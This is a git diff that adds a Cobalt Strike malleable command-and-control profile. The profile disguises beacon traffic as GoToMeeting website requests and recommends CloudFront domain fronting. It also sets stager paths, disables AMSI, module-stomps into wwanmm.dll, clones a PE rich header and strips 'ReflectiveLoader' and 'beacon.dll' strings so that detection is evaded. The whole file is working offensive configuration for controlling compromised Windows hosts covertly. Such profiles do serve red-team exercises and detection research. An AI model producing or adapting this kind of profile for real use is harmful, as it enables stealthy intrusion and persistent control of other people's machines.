diff --git a/normal/gotomeeting.profile b/normal/gotomeeting.profile
new file mode 100644
index 0000000..31d81fe
--- /dev/null
+++ b/normal/gotomeeting.profile
@@ -0,0 +1,211 @@
+#gotomeeting profile
+#works good using Cloudfront with domain fronting, especially since Cloudfront doesn't verify the CNAME you enter...
+#this traffic mimics site traffic, NOT the actual ADP protocol used when the app loads and the meeting starts.
+#xx0hcd
+
+set sleeptime "37000";
+set jitter "25";
+set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36";
+set dns_idle "8.8.8.8";
+set maxdns "245";
+
+set sample_name "gotomeeting.profile";
+
+#https-certificate {
+# set keystore "your_store_file.store";
+# set password "your_store_pass";
+#}
+
+#ordering server response headers, from 3.13.
+http-config {
+ set headers "Server, Content-Type, Brightspot-Id, Cache-Control, X-Content-Type-Options, X-Powered-By, Vary, Connection";
+ header "Content-Type" "text/html;charset=UTF-8";
+ header "Connection" "close";
+ header "Brightspot-Id" "00000459-72af-a783-feef2189";
+ header "Cache-Control" "max-age=2";
+ header "Server" "Apache-Coyote/1.1";
+ header "X-Content-Type-Options" "nosniff";
+ header "X-Powered-By" "Brightspot";
+ header "Vary" "Accept-Encoding";
+}
+
+http-get {
+
+ set uri "/functionalStatus";
+
+ client {
+
+#set Host header to whatever
+# header "Host" "whatever.gotomeeting.com";
+ header "Accept" "*/*";
+ header "Accept-Language" "en-US";
+ header "Connection" "close";
+
+ metadata {
+ base64url;
+ parameter "_";
+
+ }
+
+ }
+
+ server {
+
+ output {
+
+ netbios;
+
+ prepend "content=";
+ prepend "\n";
+ prepend "\n";
+ prepend "\n";
+ prepend "Online Meeting Software with HD Video Conferencing | GoToMeeting\n";
+ prepend " \n";
+ prepend " \n";
+ prepend "\n";
+ prepend "\n";
+
+ append "\n\n";
+ append "\n";
+ append "\n";
+ append "\n";
+ print;
+ }
+ }
+}
+
+http-post {
+
+ set uri "/rest/2/meetings";
+ set verb "GET";
+
+ client {
+
+#set Host header to whatever
+# header "Host" "whatever.gotomeeting.com";
+ header "Accept" "*/*";
+ header "Accept-Language" "en";
+ header "Connection" "close";
+
+ output {
+ base64url;
+ parameter "includeMeetingsICoorganize";
+ }
+
+
+ id {
+ base64url;
+ parameter "includeCoorganizers";
+
+ }
+ }
+
+ server {
+
+ output {
+ netbios;
+
+ prepend "content=";
+ prepend "\n";
+ prepend "\n";
+ prepend "\n";
+ prepend "Online Meeting Software with HD Video Conferencing | GoToMeeting\n";
+ prepend " \n";
+ prepend " \n";
+ prepend "\n";
+ prepend "\n";
+
+ append "\n\n";
+ append "\n";
+ append "\n";
+ append "\n";
+ print;
+ }
+ }
+}
+
+http-stager {
+
+ set uri_x86 "/Meeting/32251817/";
+ set uri_x64 "/Meeting/32251816/";
+
+ client {
+#set Host header to whatever, probably using stageless anyway right?
+# header "Host" "whatever.gotomeeting.com";
+ header "Accept" "*/*";
+ header "Accept-Language" "en-US";
+ header "Connection" "close";
+ }
+
+ server {
+
+ }
+
+
+}
+
+###Malleable PE Options###
+#always test spawnto and module stomp before using. My examples tested on Windows 10 Pro.
+
+set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
+set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
+
+#attept to disable amsi for execute-assembly, powerpick, and psinject from 3.13
+set amsi_disable "true";
+
+#used peclone on wwanmm.dll.
+#don't use 'set image_size_xx' if using 'set module_xx'
+stage {
+ set checksum "0";
+ set compile_time "25 Oct 2016 01:57:23";
+ set entry_point "170000";
+# set image_size_x86 "6586368";
+# set image_size_x64 "6586368";
+# set name "WWanMM.dll";
+ set userwx "false";
+ set cleanup "true";
+ set sleep_mask "true";
+ set stomppe "true";
+ set obfuscate "true";
+ set rich_header "\xee\x50\x19\xcf\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xaa\x31\x77\x9c\xa3\x49\xe4\x9c\x84\x31\x77\x9c\x1e\xad\x86\x9c\xae\x31\x77\x9c\x1e\xad\x85\x9c\xa7\x31\x77\x9c\xaa\x31\x76\x9c\x08\x31\x77\x9c\x1e\xad\x98\x9c\xa3\x31\x77\x9c\x1e\xad\x84\x9c\x98\x31\x77\x9c\x1e\xad\x99\x9c\xab\x31\x77\x9c\x1e\xad\x80\x9c\x6d\x31\x77\x9c\x1e\xad\x9a\x9c\xab\x31\x77\x9c\x1e\xad\x87\x9c\xab\x31\x77\x9c\x52\x69\x63\x68\xaa\x31\x77\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
+
+
+#module stomp
+
+ set module_x86 "wwanmm.dll";
+ set module_x64 "wwanmm.dll";
+
+ transform-x86 {
+ prepend "\x90\x90\x90";
+ strrep "ReflectiveLoader" "";
+ strrep "beacon.dll" "";
+ }
+
+ transform-x64 {
+ prepend "\x90\x90\x90";
+ strrep "ReflectiveLoader" "";
+ strrep "beacon.64.dll" "";
+ }
+}